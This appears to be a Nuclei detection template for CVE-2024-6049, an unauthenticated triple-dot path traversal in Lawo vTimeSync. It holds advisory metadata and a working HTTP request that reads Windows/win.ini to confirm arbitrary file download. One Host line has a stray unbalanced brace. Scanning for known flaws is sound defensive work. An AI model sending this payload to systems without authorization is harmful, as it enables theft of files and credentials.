id: CVE-2024-6049

info:
  name: Lawo AG vsm LTC Time Sync (vTimeSync) - Path Traversal
  author: s4e-io
  severity: high
  description: |
    The web server of Lawo AG vsm LTC Time Sync (vTimeSync) is affected by a "..." (triple dot) path traversal vulnerability. By sending a specially crafted HTTP request, an unauthenticated remote attacker could download arbitrary files from the operating system. As a limitation, the exploitation is only possible if the requested file has some file extension, e. g. .exe or .txt.
  impact: |
    Unauthenticated attackers can exploit triple dot path traversal to download arbitrary files from the operating system, potentially exposing configuration files and credentials.
  remediation: |
    Update Lawo AG vsm LTC Time Sync (vTimeSync) to the latest version that addresses the path traversal vulnerability.
  reference:
    - https://lawo.com/lawo-downloads/
    - https://r.sec-consult.com/lawo
    - https://packetstormsecurity.com/files/182347/Lawo-AG-vsm-LTC-Time-Sync-Path-Traversal.html
    - https://sec-consult.com/vulnerability-lab/advisory/unauthenticated-path-traversal-vulnerability-in-lawo-ag-vsm-ltc-time-sync-vtimesync/
    - https://nvd.nist.gov/vuln/detail/cve-2024-6049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-6049
    cwe-id: CWE-32
    epss-score: 0.72938
    epss-percentile: 0.98802
  metadata:
    max-request: 2
  tags: cve,cve2024,lawo,vtimesync,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}

    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "vTimeSync"
          - "Lawo"
        internal: true
        case-insensitive: true

  - raw:
      - |
        GET /.../.../.../.../.../.../.../.../.../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "bit app support", "fonts", "extensions")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220434c4bde9ca6d9e4bebdaf2d6bf3cf0d2ba5cf0abef2d2755f6901f994df87ff02201613372f2d9ad512c90dc9e38dd8aea6c1b1f5a9738194ba8515af672cff75e5:922c64590222798bb761d5b6d8e72950